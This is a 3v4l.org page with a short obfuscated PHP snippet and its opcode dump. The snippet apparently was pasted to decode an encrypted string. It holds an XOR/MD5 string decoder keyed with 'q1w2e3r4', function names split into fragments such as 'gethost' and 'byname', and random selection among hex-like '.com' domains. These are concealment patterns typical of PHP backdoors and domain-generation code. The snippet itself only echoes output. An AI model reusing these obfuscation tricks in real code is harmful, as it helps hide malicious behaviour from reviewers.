3v4l.org

run code in 300+ PHP versions simultaneously
<?php $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); echo random($domarr,".com"); function en2($s, $q) { $l="strlen"; $p="pack"; $r="substr"; $m="md5"; $g = ""; while ($l($g)<$l($s)) { $q = $p("H*",$m($g.$q."q1w2e3r4")); $g.=$r($q,0,8); } return $s^$g; } function random($arr,$qw) { $w="gethost"; $qq="-dn"; $r="byname"; $wq="tat"; $s="s"; $g="gethostbyname"; $m="md5"; $sq="str_split"; $wgt=en2("0?kgwLX371\23\5z62e2:Wn0@l.1?\4j64A403{3\5S1'\13","str_replace"); echo $wgt; return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; }
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/8AT7Z
function name:  (null)
number of ops:  7
compiled vars:  !0 = $domarr
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, <array>
    3     1        INIT_FCALL_BY_NAME                                       'random'
          2        SEND_VAR_EX                                              !0
          3        SEND_VAL_EX                                              '.com'
          4        DO_FCALL                                      0  $2      
          5        ECHO                                                     $2
   31     6      > RETURN                                                   1

Function en2:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 24
Branch analysis from position: 24
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8
Branch analysis from position: 32
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 8
2 jumps found. (Code = 44) Position 1 = 32, Position 2 = 8
Branch analysis from position: 32
Branch analysis from position: 8
filename:       /in/8AT7Z
function name:  en2
number of ops:  35
compiled vars:  !0 = $s, !1 = $q, !2 = $l, !3 = $p, !4 = $r, !5 = $m, !6 = $g
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    5     0  E >   RECV                                             !0      
          1        RECV                                             !1      
    6     2        ASSIGN                                                   !2, 'strlen'
    7     3        ASSIGN                                                   !3, 'pack'
    8     4        ASSIGN                                                   !4, 'substr'
    9     5        ASSIGN                                                   !5, 'md5'
   10     6        ASSIGN                                                   !6, ''
   11     7      > JMP                                                      ->24
   12     8    >   INIT_DYNAMIC_CALL                                        !3
          9        SEND_VAL_EX                                              'H%2A'
         10        INIT_DYNAMIC_CALL                                        !5
         11        CONCAT                                           ~12     !6, !1
         12        CONCAT                                           ~13     ~12, 'q1w2e3r4'
         13        SEND_VAL_EX                                              ~13
         14        DO_FCALL                                      0  $14     
         15        SEND_VAR_NO_REF_EX                                       $14
         16        DO_FCALL                                      0  $15     
         17        ASSIGN                                                   !1, $15
   13    18        INIT_DYNAMIC_CALL                                        !4
         19        SEND_VAR_EX                                              !1
         20        SEND_VAL_EX                                              0
         21        SEND_VAL_EX                                              8
         22        DO_FCALL                                      0  $17     
         23        ASSIGN_OP                                     8          !6, $17
   11    24    >   INIT_DYNAMIC_CALL                                        !2
         25        SEND_VAR_EX                                              !6
         26        DO_FCALL                                      0  $19     
         27        INIT_DYNAMIC_CALL                                        !2
         28        SEND_VAR_EX                                              !0
         29        DO_FCALL                                      0  $20     
         30        IS_SMALLER                                               $19, $20
         31      > JMPNZ                                                    ~21, ->8
   15    32    >   BW_XOR                                           ~22     !0, !6
         33      > RETURN                                                   ~22
   16    34*     > RETURN                                                   null

End of function en2

Function random:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/8AT7Z
function name:  random
number of ops:  24
compiled vars:  !0 = $arr, !1 = $qw, !2 = $w, !3 = $qq, !4 = $r, !5 = $wq, !6 = $s, !7 = $g, !8 = $m, !9 = $sq, !10 = $wgt
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   18     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   19     2        ASSIGN                                                   !2, 'gethost'
   20     3        ASSIGN                                                   !3, '-dn'
   21     4        ASSIGN                                                   !4, 'byname'
   22     5        ASSIGN                                                   !5, 'tat'
   23     6        ASSIGN                                                   !6, 's'
   24     7        ASSIGN                                                   !7, 'gethostbyname'
   25     8        ASSIGN                                                   !8, 'md5'
   26     9        ASSIGN                                                   !9, 'str_split'
   28    10        INIT_FCALL                                               'en2'
         11        SEND_VAL                                                 '0%3FkgwLX371%13%05z62e2%3AWn0%40l.1%3F%04j64A403%7B3%05S1%27%0B'
         12        SEND_VAL                                                 'str_replace'
         13        DO_FCALL                                      0  $19     
         14        ASSIGN                                                   !10, $19
   29    15        ECHO                                                     !10
   30    16        INIT_FCALL                                               'rand'
         17        SEND_VAL                                                 0
         18        SEND_VAL                                                 1.125
         19        DO_ICALL                                         $21     
         20        FETCH_DIM_R                                      ~22     !0, $21
         21        CONCAT                                           ~23     ~22, !1
         22      > RETURN                                                   ~23
   31    23*     > RETURN                                                   null

End of function random

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
152.08 ms | 1403 KiB | 16 Q